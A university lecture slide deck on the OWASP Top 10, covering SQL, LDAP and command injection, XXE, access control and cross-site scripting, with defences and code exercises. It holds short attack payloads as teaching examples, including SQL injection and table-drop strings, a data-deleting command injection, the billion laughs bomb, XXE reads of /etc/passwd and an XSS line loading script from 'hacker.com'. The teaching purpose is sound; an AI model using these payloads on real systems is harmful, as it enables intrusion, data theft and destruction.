

Security and Privacy

Web application vulnerabilities

28.02.2019

Outline

- The OWASP Top 10
- Details on some of the top 10
 - ▶ A1 Injection
 - ▶ A4 XML external entities
 - ▶ A5 Broken access control
 - ▶ A7 Cross site scripting
- Conclusions and exercises

Web applications: OWASP Top 10

OWASP

- **OWASP**: Open Web Application Security Project (**owasp.org**)
- Many useful projects, for example:
 - ▶ OWASP Top Ten
 - ▶ Tool: Zed Attack Proxy (ZAP)
 - ▶ Method: OWASP Testing Guide
- The Top 10 project documents the 10 most critical security risks to Web applications
 - ▶ Updated every few years
 - ▶ Current is 2017

OWASP Top 10

For each Risk it describes

- The Risk
 - ▶ Threat agent: who can carry out the attack
 - ▶ Vulnerability: how is it possible
 - ▶ Impact: What can happen
- How to detect
- How to prevent
- Examples
- References

OWASP Top 10

The 10 Risks:

- ▶ A1 Injection
- ▶ A2 Broken Authentication
- ▶ A3 Sensitive Data Exposure
- ▶ A4 XML External Entities (XXE)
- ▶ A5 Broken Access Control
- ▶ A6 Security Misconfiguration
- ▶ A7 Cross Site Scripting (XSS)
- ▶ A8 Insecure Deserialization
- ▶ A9 Using Components with Known Vulnerabilities
- ▶ A10 Insufficient Logging & Monitoring

A1, Injections

1 Injection

Injectons are possible when user supplied data is used in a specific context:

- **Example of contexts**

- ▶ SQL, LDAP, OS commands, XML, XSLT, SMTP

- **Vulnerability**

- ▶ Special character sequences in user inputs can trigger an action in the context

- **Impact**

- ▶ The meaning of a request can be modified
- ▶ e.g for reading or modifying data (student grades, names, passwords, ...)

A1 Example: SQL injection

■ SQL for dummies hackers

- ▶ The **Structured Query Language** is used for reading or writing databases
- ▶ Databases are organized in tables,
 - tables have names (e.g. Users)
- ▶ Tables are organized in rows and columns
 - columns have names (e.g. Lastname, City)
- ▶ the **SELECT** statement is used to read rows:

```
SELECT Firstname, Lastname FROM Users WHERE City = 'Lausanne'
```

Returns the columns firstname, lastname from all rows of table Users which have 'Lausanne' in the column City.

A1 SQL injection

■ SQL for hackers

- ▶ **UPDATE** is used to modify lines:

```
UPDATE Users SET canton = 'Vaud' WHERE city = 'Lausanne'
```

set the column 'canton' to the value 'Vaud' in every row where City is 'Lausanne'

- ▶ **INSERT** creates new rows:

```
INSERT INTO Users (firstname, lastname, City)  
values ('Ronald', 'Banksy', 'Chavannes');
```

does exactly what you think it does.

SQL injection

- Example: mediabox404, a music streaming web application
- It suffered from a SQL injection (**CVE-2005-2632**)

```
$requete="select Pseudo from t_user where  
        Pseudo='".$User.'" and  
        Passe='".$Password.'"
```

```
$result=mysqli_query($con,$requete);
```

```
if(!$result) {  
    ... error  
} else {  
    ... login  
}
```

- If the request returns no result → wrong login

1 Injection: example

- For \$User=Philippe and \$Password=Maison2 :

```
select Pseudo from t_user where  
Pseudo='Philippe' and Passe='Maison2'
```


- For \$User=Philippe' -- and \$Password=bla :

```
select Pseudo from t_user where  
Pseudo='Philippe' -- ' and Passe='bla'
```

Our quote terminates the string that started with their quote


The double dash `--` starts a comment, the rest of the statement is ignored, there is no need to know the password anymore!

A1 Injection: real case



A1 Injection: real case

catid=2 test



error near 'test order by 'catfullname' at line 1

A1 Injection: real case

catid=2 union select foo from test –




table '.test' doesn't exist

A1 Injection: real case


catid=2 union select foo from user –



Unknown column 'foo' in 'field list'

A1 Injection: real case

catid=2 union select name from user –



The used SELECT statements have different number of columns

catid=2 union select 1,2,3,email,name,6,pass,8,...



A1 Injection: variations

■ Some databases (e.g. Oracle) accept stacked queries

- ▶ The same query can contain multiple commands (e.g. a SELECT and a DROP)

```
catid=2 ; drop table users;
```

■ Blind injections

- ▶ When there is no error message and no other output we can get feedback by inserting an operation that takes time to execute

```
catid = 2 union select  
if(substring(user_password,1,1)=char(50),  
waitfor(50),null) from users where user_id=1;
```

A1 LDAP Injection

■ LDAP for hackers:

- ▶ The Lightweight Directory Access Protocol is used to query directories
 - e.g for verifying a user's password
 - read a user's attribute
 - read a group's members
- ▶ search expressions are written as logical conditions grouped with parenthesis
 - **&** is the and operator, **|** is or, ***** is wildcard
 - **&(Name=John*)(Status=prof)** Name starts with "John" and Status is "prof"

A1 LDAP Injection

- You can also inject into LDAP queries:
- You can change the meaning of a request similarly to our SQL injection example:
 - ▶ if the request is


```
(&(name=$user)(pwd=$password))
```

- ▶ use as name: admin)(&):

```
(&(name=admin)(&))(pwd=...))
```

- ▶ (&) is always true and (pwd=...) is ignored

A1 "Blind" LDAP Injection



- Joomla bug (Sept. 19th 2017)
 - ▶ LDAP injection
 - ▶ different messages for wrong user/password
 - ▶ using a wildcard we can guess one character at a time
video: [ripsec blog](#)

A1 command Injection


Here the context `runtime.exec`, the method used in Java to execute other programs.

```
Runtime runtime = Runtime.getRuntime();  
String[] cmd = new String[3];  
cmd[0] = "cmd.exe" ;  
cmd[1] = "/C";  
cmd[2] = "dir " + chosen_dir;  
Process proc = runtime.exec(cmd);
```

- The code want to start the windows program `cmd.exe` and ask it list the content of a directory.
- If `chosen_dir` is '`photo`' you get the list of photographs
- If it is '`photo & rmdir /s /q photo`' you get a surprise!


A1 Injection: xkcd

■ <http://xkcd.com/327>




A1 Injection: xkcd

■ <http://xkcd.com/327>




A1 Injection: xkcd

■ <http://xkcd.com/327>



A1 Injection: xkcd

■ <http://xkcd.com/327>



A1 Injection: example

- Hacking a radar ?



A1 Real case

Twitter:

Rex Mundi @rexmundi14 · 8 Jan 2015

We have hacked the servers of the Swiss bank Banque Cantonale de Geneve (BCGE)

Rex Mundi @rexmundi14 · 8 Jan 2015

Reminder: The Banque Cantonale de Geneve has until tomorrow to pay us and prevent customer data from getting leaked.

The bank did not pay (good!)

Rex Mundi @rexmundi14 · 8 Jan 2015

The **#BCGE#** leak is here, in all its glory:

A1 Real case: history

creditpers.csv:

```
632,luvwalm,<blank>,1,1,<blank>,San Francisco,2012-09-25,  
633,irwknpod,<blank>,1,;print(md5(acunetix_wvs_security_test));,  
<blank>,San Francisco,2012-09-25
```

tbl_contact_info.csv

```
12357,NULL,,123,security,111,Bulgaria,xxxx@xxx.xx,bcge website,  
2013-10-12,web,NULL,<blank>," Hello, I found a vulnerability in  
your website. It allows access to some of your database. And I am  
ready to help by preparing detailed reports so you can easier to  
remove the vulnerability. If you have an award for such assistance  
I will be happy :) I just want to help. Best regards, I'm waiting  
for your e-mail! For proof: 'Current User: xxxxx@xxxxxxx.bcgxxx.ch
```

offre_praevisio_simul.csv

```
15,"\\\"");select Sleep(15)/",<blank>,non,<blank>,2014-01-14
```

A1 Quiz

- What could the bank have done to reduce the risk
 - ▶ probability
 - ▶ impact
- Which airline is this?

Please ensure email address is accurate & that your account is active:
Any timing changes to your flight(s) will be sent to you via the email address that you provided in this booking.

Email Address *	Philippe		(no apostrophes)
Confirm Email Address *			
Number Type*	Mobile/Cell		?
Country Code*	France		
Phone Number*	Country: 33	Area: (excluding country code)	Local: (number only, no spaces or other characters)

A1 Injection: Protection

- Always inspect received data **twice**:
- **When receiving: Input validation**
 - ▶ Refuse the characters you don't want
 - ▶ for example use a regular expression:

```
if (!Regex.IsMatch(txtName.Text,  
    @"^[a-zA-Z'-.]{1,40}$")) {  
    // Is not a valid name
```

- **When using: Encode data**
 - ▶ Escape (encode) special characters when you use them
 - ▶ in SQL: ' becomes \'
 - ▶ in HTML: <, > becomes < >
 - ▶ in LDAP: (,) becomes \28, \29

A1 Injection: Protection

- Using **prepared statements** for SQL eliminates most risks of SQL injections
 - ▶ most programming languages support this
- the SQL expression is prepared first and can not be modified when adding parameters:

```
PreparedStatement pstmt =  
    con.prepareStatement(  
        "SELECT pwhash FROM table WHERE name = ? and  
        pass = ?"  
    );  
pstmt.setString(1, name_received);  
pstmt.setString(2, pass_received);  
ResultSet rset = pstmt.executeQuery();
```

A4, XML external entities

A4 XML for hackers

■ XML

- ▶ a markup language.
- ▶ elements are delimited by start and stop tags:
`<name>peter</name>`
- ▶ tags can be nested.

■ Document Type Definition DTD

- ▶ the header of an XML file declares the type of data
`<!DOCTYPE html>`
- ▶ the DTD can also define macros (entities)

```
<!DOCTYPE XML [  
  <!ELEMENT XML ANY>  
  <!ENTITY question  "To be or not to be">  
  <!ENTITY author    "William Shakespeare">  
<XML>&question;;  &author;</XML>
```

A4 Billion laughs attack

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lo "lol">
  <!ELEMENT lolz (#PCDATA)>
  <!ENTITY lo1 "lo;&lo;&lo;&lo;&lo;&lo;&lo;&lo;&lo;">
  <!ENTITY lo2 "&lo1;&lo1;&lo1;&lo1;&lo1;&lo1;&lo1;&lo1;">
  <!ENTITY lo3 "&lo2;&lo2;&lo2;&lo2;&lo2;&lo2;&lo2;&lo2;">
  <!ENTITY lo4 "&lo3;&lo3;&lo3;&lo3;&lo3;&lo3;&lo3;&lo3;">
  <!ENTITY lo5 "&lo4;&lo4;&lo4;&lo4;&lo4;&lo4;&lo4;&lo4;">
  <!ENTITY lo6 "&lo5;&lo5;&lo5;&lo5;&lo5;&lo5;&lo5;&lo5;">
  <!ENTITY lo7 "&lo6;&lo6;&lo6;&lo6;&lo6;&lo6;&lo6;&lo6;">
  <!ENTITY lo8 "&lo7;&lo7;&lo7;&lo7;&lo7;&lo7;&lo7;&lo7;">
  <!ENTITY lo9 "&lo8;&lo8;&lo8;&lo8;&lo8;&lo8;&lo8;&lo8;">
]>
<lolz>&lo9;</lolz>
```

A4 XML external entities

XML Entities can be external (e.g. files)

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

- The server will replace `&xxe;` by the content of the passwd file.
- If the user can submit such an XML document and have its content returned in a response, he can access any file on the system.

A4 XML external entities

- Variants:

- ▶ read data from internal machine:

```
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
```

- ▶ read infinite file:

```
<!ENTITY xxe SYSTEM "file:/dev/random" >]>
```

- Do not accept XML that contains DTD specifications. e.g.

```
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
```

- Use a local XML schema to verify the structure of the XML file
 - ▶ You tell your XML parser which elements you are expecting in the XML document and stop if it does not match

A5, Broken Access Control

A5 Access control: direct references

- When a user-submitted parameter is a direct reference to a resource, a user may try to change to access other resources

- Examples

`http://bad.com/display_transactions?account=100293`

`http://bad.com/see_profile?id=4329`

`http://bad.com/display_photos?template=css/p.css`

`POST /users {"action":"unsubscribe", "user":"100293"}`

- Hacker

What if I tried

`http://bad.com/display_transactions?account=100299`

A5 Direct Object References

- Remember last week ?
 - ▶ IDOR = insecure direct object reference

How I was able to delete Google Gallery Data [IDOR]



Yogesh Tantak [Follow](#)
Dec 30, 2018 · 2 min read

Hi,

This is **Yogesh Tantak** a Security Researcher from India. Today I am writing about a critical bug that I found in Google's new Product "Gallery".

You can find out more information about this product by below url:
<https://www.theverge.com/2016/10/26/13418012/google-material-design-stage-gallery-pixate>

This bug could allowed a malicious user to delete all collection from Gallery.io or Google gallery app.

source: [medium.com](#)

A5 Direct Object References.

■ Protection:

- ▶ Use an indirect reference

`https://bad.com/display_transactions?account=savings`

- on the server, use a table:

```
account_id["savings"]=100293
```

- ▶ Protect references with a Hash-MAC:

`/display_transaction?employee_id=100293&HMAC=434A345B0`

- If you modify the `employee_id` you must also modify the HMAC
 - You can not calculate the HMAC if you don't know the secret key
- ▶ Ideally: always verify if the user has the right to access the reference

A5 Access Control: URLs

- For every URL, verify that the user has the rights to access it
- Examples
 - ▶ `https://example.com/welcome` ← anybody
 - ▶ `https://example.com/myprofile` ← only logged-in users
 - ▶ `https://example.com/add_user` ← only admins

If you have a page called `user_menu`, you can be sure that some users will try to access `admin_menu`!

A7, Cross Site Scripting

A7 Cross Site Scripting (XSS)

Injection into web pages:

■ Context

- ▶ HTML and JavaScript

■ Impact

- ▶ Steal session cookies
- ▶ Display forged forms
- ▶ Complete control over browser

```
//acme.com/search?q=+<script>alert('hacked')</script>  
//acme.com/search?q=+<script src="hacker.com/a.js">
```

7 XSS Types

- **Reflexive** ([https://wtop.com,demo2](https://wtop.com/demo2))
 - ▶ The attack is sent with the request and reflected in the response
 - ▶ You must convince a victim to click on a link
- **Persistent**
 - ▶ You can insert the attack into a page (e.g. comments)
 - ▶ All following visitors of the page will be attacked
- **DOM-based**
 - ▶ The attack happens completely in the browser
 - ▶ e.g. JavaScript accesses a part of the URL that contains the attack

A7 XSS: real case (SSRF)

- Sometimes, HTML is interpreted by the server:
 - ▶ A bank converted HTML forms to PDF on the server
 - ▶ With `city=""><embed "file:/etc/passwd">` we got

Documentation request

Customer details

Title :

Account Number :

First Name :

Last Name :

City : `"> root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash lp:x:4:7:Printing
daemon:/var/spool/lpd:/bin/bash mail:x:8:12:Mailer
daemon:/var/spool/clientmqueue:/bin/false`

A7 XSS: Protection

- Validate inputs when receiving them
- Encode characters when putting them into an HTML page
- Use a framework or a library that does this for you
- Use Content Security Policy in the HTTP headers:

`Content-Security-Policy: default-src 'self';`

▶ Now scripts can only be loaded from the original web site

Conclusion and Questions

Conclusions

- Web applications take user input and put it into many different contexts (HTML, JavaScript, JSON, SQL)
- Be sure to refuse what you do not need, and to escape (encode) what could be dangerous in every context
- A good frame work (e..g Django, Struts, Ruby on Rails) takes care of this automagically provided
 - ▶ you keep the framework up to date
 - ▶ you used it the way it is meant to be used
- Web application threats should be discussed at the beginning of the development cycle
 - ▶ It is more expensive to fix things at the end
- It is useful to audit any new web application before putting it online.

Questions

- Code examples taken from the **SEI CERT Java Coding Standard** and the **Mitre Common Weakness Enumeration** web sites

Example 1

■ Guestbook

```
public class GuestBook extends HttpServlet {  
    String name;  
  
    protected void doPost (HttpServletRequest req,  
                           HttpServletResponse res) {  
        name = req.getParameter("name");  
        ...  
        out.println(name + ", thanks for visiting!");  
    }  
}
```

Example 1 solution

■ Guestbook

```
public class GuestBook extends HttpServlet {  
    String name;  
  
    protected void doPost (HttpServletRequest req,  
                           HttpServletResponse res) {  
        name = req.getParameter("name");  
        ...  
        out.println(encodeForHTML(name) + ", thanks for visiting!");  
    }  
}
```

Example 2

■ XSS prevention

```
public String preventXSS(String input, String mask) {  
    return input.replaceAll("script", mask);  
}
```

Example 2 solution

- We need to prevent all combinations of cases: **ScriPt**, **scRlPt**

```
public static void processTag(String tag) {  
    if (tag.equalsIgnoreCase("script")) {  
        return;  
    }  
    // Process tag  
}
```

- note: `tag.toUpperCase().equals("SCRIPT")` works too, but only if you are not in Turkey
- in Turkey , uppercase of i is **İ** !

Example 3

■ Making backups

```
...  
String btype = request.getParameter("backuptype");  
String cmd = new String("cmd.exe /K \"  
c:\\util\\rmanDB.bat "  
+btype+  
"&&c:\\utl\\cleanup.bat\"")  
  
System.Runtime.getRuntime().exec(cmd);
```


Example 3 solution

■ Making backups

```
...  
String btype = request.getParameter("backuptype");  
String cmd = new String("cmd.exe /K \"  
c:\\util\\rmanDB.bat "  
+encodeForOSCommand(btype)+  
"&&c:\\utl\\cleanup.bat\"")  
  
System.Runtime.getRuntime().exec(cmd);
```

Example 4

■ Login

```
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" +
               userName + "' AND itemname = '" +
               ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
```

Example 4 solution

■ Login

- ▶ use a prepared statement

```
string userName = ctx.getAuthenticatedUserName();

PreparedStatement query =
    conn.prepareStatement("SELECT * FROM items WHERE owner=? "+
                          "AND itemname=?");

ps.setString(1,userName);
ps.setString(2,ItemName.Text);

sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
```